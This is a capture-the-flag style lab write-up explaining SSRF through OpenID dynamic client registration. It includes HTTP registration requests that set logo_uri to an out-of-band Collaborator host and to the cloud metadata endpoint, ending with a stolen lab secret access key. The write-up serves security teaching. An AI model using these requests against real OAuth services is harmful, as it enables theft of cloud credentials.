# LAB #01 SSRF via OpenID dynamic client registration

## **Lab Overview**

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to access`http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/` and steal the secret access key for the OAuth provider's cloud environment.

**Target:**  
`http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**Credentials:**  
Username : `wiener`  
Password : `peter`

## What is SSRF?

An attacker can abuse a Server Side functionality to issue malicious requests to URLs that are not intended to be queried. By this an attacker might open internal URLs like `http://127.0.0.1` which are normally not accessible.

## What is OpenID Connect?

OpenID Connect (OIDC) is a login and identity system built on OAuth 2.0 that allows users to securely sign in to applications using existing accounts such as Google, Microsoft, or other identity providers, without the application needing to store the user’s password.

## What is OpenID dynamic client registration?

OpenID Dynamic Client Registration is a feature in OpenID Connect that allows an application to automatically register itself with the identity provider and receive a `client_id` and `client_secret` without manual setup in the provider dashboard.

## Exploitation

### #1 Logging In

After starting the lab, the provided credentials were used to log in, and Burp Suite captured the application traffic.

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/df6cc05d-0bc1-45af-92ac-0e6e5dfd8571.png align="center")

While accessing the `/my-account` it redirected to `/social-login` which communicate with `https://oauth-<temporary-id>`

### #2 Finding the Endpoint

If Dynamic Client Registration is enabled, the application can send a `POST` request to a `/registration` endpoint to create its OAuth/OIDC client automatically.

The request usually contains information about the application in JSON format, such as:

*   redirect URIs
    
*   application name
    
*   logo URI
    
*   supported authentication methods
    

After successful registration, the provider returns credentials like a `client_id` and `client_secret` that are later used during the login flow.

**Example registration request:**

```javascript
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

If Dynamic Client Registration does not require authentication, attackers may register malicious applications and potentially exploit vulnerabilities such as SSRF.

We already go that it is communicating with another host:

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1fdb2d6b-4d1e-42ae-89ea-ac13a7bd2f72.png align="center")

The request was sent to Burp Repeater to check the OpenID configuration endpoint at `/.well-known/openid-configuration`.

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/e512daf6-10be-430f-86a4-43d0fec6f1b0.png align="center")

## #3 Client Registration

The OAuth server exposed a registration endpoint at `/reg`.

```javascript
"registration_endpoint":"https://oauth-0a9500e6037ae80d80265671028300b9.oauth-server.net/reg",
```

Next, we need to register our own client application with the OAuth service.

**So we need to create a POST request to dynamically register a client/myself:**

```javascript
POST /reg HTTP/1.1
Host: oauth-0a2400cc04337b2fc038f7ce02e90099.oauth-server.net
Content-Type: application/json
Content-Length: 63

{
    "redirect_uris": [
        "https://test.com"
    ]
}
```

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/13d17c6e-957b-4aca-b2ef-c092a96ca182.png align="center")

successfully registered a new client application, and the server returned a `client_id`: `hb7m3_9dQzQhcdK3Zk96S`

In HTTP history showed the OAuth page loading a logo from `/client/<client_id>/logo`.

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/c0f2926d-2b52-490d-8f8e-7d911d71ee0d.png align="center")

So we tried with our client id.

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/86ab2599-06b7-4185-a84d-eeb1a74845c9.png align="center")

But it showed `204 No Content`.

## #4 SSRF

The client registration was successful. The next step was to test whether the `logo_uri` parameter could be abused to trigger SSRF requests to internal endpoints such as `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin`

*   Go to Burp Collaborator and click copy to clipboard. `6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com`
    
*   Register a Client application with `logo_uri`
    
    ```javascript
    POST /reg HTTP/1.1
    Host: oauth-0a2300af04ce8af38195335f02be005b.oauth-server.net
    Content-Type: application/json
    Content-Length: 137
    
    {
        "redirect_uris": [
            "https://test.com"
        ],
        "logo_uri": "https://6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com"
    }	
    ```
    
    ![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1a71094b-8e1a-44be-8712-e2ea9f872c96.png align="center")
    

Now we get a different `client_id: UcwVTh2cRaElSEyPxOrWx`

*   Using that `client_id` to fetch logo
    

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/2c8655e1-b78b-4f4e-94bd-0e0b833777f2.png align="center")

![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/a04b4d87-9b36-4279-a0ca-809b81374493.png align="center")

Successfully received a HTTP request, OAuth server is using the `logo_uri` and fetch the logo.

*   SSRF attack  
    Craft an SSRF attack to access `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`
    
*   Register a new client application with `logo_uri`
    
    ```javascript
    POST /reg HTTP/1.1
    Host: oauth-0a21000f03f6d5a5807de72a02aa00f7.oauth-server.net
    Content-Type: application/json
    Content-Length: 156
    
    {
        "redirect_uris": [
            "https://test.com"
        ],
        "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
    }
    ```
    
    ![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/1bd15a19-b6d8-4e2a-8370-a0abc4215033.png align="center")
    
    And we got a `client_id: Mr_LXxqe7V1ciR16pSPYv`
    
*   Now use the `client_id` to fetch logo
    
    ![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/05d4f17a-4d8b-4b79-b386-6312f8d5d468.png align="center")
    
    Successfully retrieved the secret access key for the OAuth provider's cloud environment.  
    `SecretAccessKey: ZjLmbIbHRNTBgWOmpyfTYf0CFebNL6Ly1G2LGJ7Y`
    
    Submit it!
    
    ![](https://cdn.hashnode.com/uploads/covers/69eb0c2b1e45c4e0da9bea4a/c97424b9-c212-40c6-8979-0679d627a634.png align="center")
    

## \# And That’s a Wrap

Even trusted login features can open unexpected attack paths.